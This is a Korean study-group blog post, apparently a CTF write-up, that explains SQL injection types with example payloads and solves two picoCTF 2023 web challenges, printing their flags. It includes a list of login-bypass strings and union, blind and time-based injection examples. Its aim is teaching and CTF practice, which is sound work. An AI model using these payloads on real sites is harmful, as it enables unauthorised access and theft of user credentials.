본문 바로가기

4-2. 2024-1 심화 스터디/워게임 도장 깨기

[1주차] 2024.03.11 - Web War Game Write Up

CTF Cite

https://play.picoctf.org

 

#관련 개념 정리

1. SQL Injection

1.1 정의

데이터 베이스와 연동된 웹에서 임의의 SQL 문을 주입하여 비정상적인 동작을 하도록 조작해서 정보를 알아내는 공격 기법

 

1.2 발생 원인

주로 입력한 데이터를 제대로 필터링하지 못했을 때 발생 <입력값 검증>

 

1.3 관련 프로그램 (DB)

MySQL, SQLite 등

 

1.4 일반적인 구문&구조 

* 프로그램별 정보 가져 오는 방법

1.4.1 메타 데이터의 테이블; information_schema

1.4.2 테이블 정보; SELECT table_name FROM information_schema.tables

1.4.3 칼럼 정보; SELECT column_name FROM information_schema.columns WHERE table_name='myTable'

 

메타 데이터란?

이터의 집합. 데이터 종류가 많아질 경우, 목록화 시킬 필요가 생겨 만들어진 데이터
sqlite_master: sqlite에서 만들어진 테이블 정보는 시스템 테이블에서 관리

 

1.5 일반적인 공격 구문(로그인 인증 우회)

더보기
  • ' or''='
  • ' or 1=1--
  • ' or 'a'='a--
  • 'or''='or'
  • " or 1=1--
  • or 1=1--
  • or 'a='a
  • " or "a"="a
  • ') or ('a'='a
  • ") or ("a"="a
  • ) or (1=1

1.6 공격 종류

1.6.1 Error Based SQL Injection

GET, POST 요청 필드나 HTTP 헤더 값, 쿠키값 등에 고의적으로 오류를 삽입시켜 출력되는 SQL 에러를 통해 필요한 정보를 찾아내는 공격으로 가장 대중적인 기법
* 구문 : GROUP BY, HAVING 등 이용

select * from users where id = 'INPUT1' AND password = 'INPUT2'
                             +
                        ' or 1=1 --
                             ⇩
select * from Users where id = ''OR 1=1 --' AND password = 'INPUT2'
                             ⇩
                     select * from Users

"' OR 1=1 --" 구문을 이용하여 WHERE절을 모두 참으로 만들고 '--'로 뒤 구문을 모두 주석처리하여 'SELECT * FROM Users'로 인식하게해서 공격을 시도한 예시이다. 이 구문을 통해 Users 테이블에 있는 정보들을 조회하여 로그인 시도에 성공할 수 있게 된다.

1.6.2 Union Base SQL Injection

두 개의 쿼리문에 대한 결과를 통합해서 하나의 테이블로 보여주게 하는 Union 명령어를 이용한 공격 기법
성공하기 위한 조건 - Union 명령어를 이용하는 두 테이블의 column수와 데이터 type이 같아야 함
* 구문 : ORDER BY, HAVING 등 이용

select * from Board where title like '%INPUT%' OR contents '%INPUT%'
                             +
        ' union select null, id, passwd from Users--
                             ⇩
select * from Board where title like '%' union select null, id, passwd from Users--
                             ⇩
                     select * from Users

Board라는 이름을 가진 테이블이 있고, id, title, contents라는 속성이 있다고 가정

Board 테이블에서 입력값을 title과 contents 칼럼의 데이터와 비교한 후 데이터를 비교하는 쿼리문에 union 명령어를 사용하여 칼럼 수를 맞춰 select 구문을 넣어주면 두 개의 쿼리문이 합쳐지게 되어 하나의 테이블로 보여지게 된다.
(Board table은 id, title, contents 이렇게 총 3개 이므로 union 명령어로 select 구문을 만들 때도 칼럼 수를 맞추기 위해 알고자 하는 것(id, passwd) 그리고 갯수를 맞춰주기 위해 null을 삽입하여 맞춘 것이다.)
따라서, 사용자의 id와 passwd를 요청하는 쿼리문으로 바뀌게 된다.

1.6.3 Blind SQL Injection

1.6.3.1 Boolean based SQL 

DB로부터 특정한 값이나 데이터를 전달받지 않고, 참과 거짓만 알 수 있을 때 사용하는 공격 기법
* 이용할 수 있는 페이지 : 로그인 폼에 출력되는 로그인 성공과 실패 메시지를 이용하여 공격 시도할 수 있다.

select * from Board where id = 'INPUT1' AND password = 'INPUT2'
                             +
abc123' and ASCI(SUBSTR(select name from information_schema.tables where table_type='base table' limit 0,1),1,1)) > 100 --
                             ⇩
select * from Board where id = 'abc123' and ASCI(SUBSTR(select name from information_schema.tables where table_type='base table' limit 0,1),1,1)) > 100 --' AND password = 'INPUT2'
                             ⇩
select * from Board where id = 'abc123' and ASCI(SUBSTR(select name from information_schema.tables where table_type='base table' limit 0,1),1,1)) > 100 --

'limit'를 통해 하나의 테이블을 조회하고 'SUBSTR' 함수로 첫 글자를 찾은 후, 'ASCII'를 통해 아스키코드 값으로 변환해주어 테이블명을 조회(ex. 테이블명이 Users면, 'U'가 ASCII 값으로 조회)한 후, 100이라는 숫자 값과 비교하게 된다. 이는 참이 될 때까지 100이라는 숫자 값과 비교하여 테이블명을 알아내는 공격기법이다.

* 이러한 구문을 자동화 스크립트로 만들어서 단기간 내에 테이블명을 알아낼 수도 있다.

 

1.6.3.2 Time Based SQL 

참과 거짓 응답을 통해 DB 정보를 유추하는 Boolean based SQL과 동일한 기법

사용되는 함수 : SLEEP, BENCHMAR (MySQL기준)

select * from Users where id = 'INPUT1' AND password = 'INPUT2'
                             +
abc123' OR (LENGTH(DATABASE())=1 AND SLEEP(2)) --
                             ⇩
select * from Users where id = 'abc123' OR (LENGTH(DATABASE())=1 AND SLEEP(2)) --

- 'LENGTH' 함수 : 문자열 길이 반환
- 'DATABASE' 함수 : DB 이름 반환

LENGTH(DATABASE())=1가 참이면 SLEEP(2)이 동작하고 거짓이면 동작하지 않는 것으로, 숫자 '1' 부분을 조작하여 현재 사용하고 있는 DB 길이를 알아낼 수 있게된다.
('SLEEP' 이라는 단어가 치환처리 되어있으면, 'BENCHMARK', 'WAIT' 함수를 대신 사용 가능)

1.6.3.3 Stored Procedure Based SQL Injection

저장 프로시저: 쿼리들을 모아 하나의 함수처럼 사용하기 위한 것
대표적인 프로시저 - xp_chmdshell(MS-SQL)
* 공격자가 시스템 권한을 획득해야하기 때문에 공격 난이도가 높지만, 공격에 성공한다면 서버에 직접적인 피해를 입힐 수 있게 되는 공격 기법

1.6.3.4 Mass SQL Injection

한번의 공격으로 다량의 DB가 조작되어 큰 피해를 입히는 다량의 SQL Injection 공격
ASP기반 웹 애플리케이션에서 많이 사용되고, HEX 인코딩 방식으로 쿼리문 인코딩 후 공격 시도
DB값을 변조하여 악성스크립트를 삽입하고, 사용자들이 변조된 사이트에 접속 시 좀비PC로 감염되게 하여 DDoS 공격에 사용됨

1.7 대응 방안

1.7.1 입력값 검증

- 사용자의 입력값의 유효 여부 검

DB 구문으로 많이 쓰이는 ', ", #, = 문자 등 특수문자와 명령어를 필터링
데이터 길이에 제한을 둠

서버 단에서 화이트 리스트 기반으로 검증해야 함

 

1.7.2 저장 프로시저 사용

- 지정된 형식의 데이터만 사용하도록 제한을 둠

입력값이 DB 파라미터로 들어가기 전에 DBMS가 미리 컴파일하여 실행하지 않고 대기한 후, 사용자 입력값을 문자열로 인시갛게 하여 예방

https://noirstar.tistory.com/264
https://velog.io/@33bini/DB-SQL-Injection
https://blog.naver.com/isc0304/220594576257
https://blog.int80.kr/74


#문제 1. [FindMe] picoCTF 2023

문제 초기화면은 다음과 같다. 화면에 적혀있는대로 username과 password에 test를 입력해 로그 인을 시도했다.

위와 같이 나와서 다시 username: test, password: test!으로 다시 로그인해보았다.

다음과 같은 메인페이지가 나오는데 login페이지에서 위의 메인페이지로 넘어갈 때 빠르게 리다 이렉션이 넘어가는 것을 확인했다. 이 기록을 확인하기 위해 개발자 도구에서 preserve log를 선택 후 다시 로그인을 시도했다.

이렇게 로그 기록을 통해 id를 확인할 수 있었다. Id의 끝부분이 ==인 것으로 보아 base64인코딩 일 것이라 생각했고, 디코딩을 해보았더니 flag를 확인할 수 있었다.

picoCTF{proxies_all_the_way_01e748db}

 

#문제 2. [MoreSQLi] picoCTF 2023

Instance(서버)에 접속해준다. 힌트에 SQLite라고 주어졌다.

서버에 접속해주면 Login 하는 화면이 뜨게 되며, id/pw를 입력할 수 있다.

admin/admin을 입력해주니깐 입력한 username과 password가 html에서 뜨게 되고 SQL 쿼리가 보이게 된다.

SQL query: SELECT id FROM users WHERE password = 'admin' AND username = 'admin'

username과 password에 ' or 1 = 1 — 을 넣어준다. (로그인이 될 경우 SQL Injection 취약점이 존재한다는 뜻)

' union select 1, 2, 3 — 명령어를 입력하게 되면 UNION 앞에 작성된 조회 구문 칼럼 개 수 확인 가능 1,2나 1,2,3,4로 하면 조회 안 됨 → 확인해봄 SQL에서 UNION 명령어는 두개 이상의 SELECT 명령어에서 나온 결과를 합치 는 연산 SQlite에서 테이블이나 컬럼 정보를 가져오는 명령어 : sqlite_master TABLE

해당 테이블에서 flag를 추출하는 방법 ' union select id, flag, 3 from more_table —

picoCTF{G3tting_5QL_1nJ3c7I0N_l1k3_y0u_sh0ulD_78d0583a}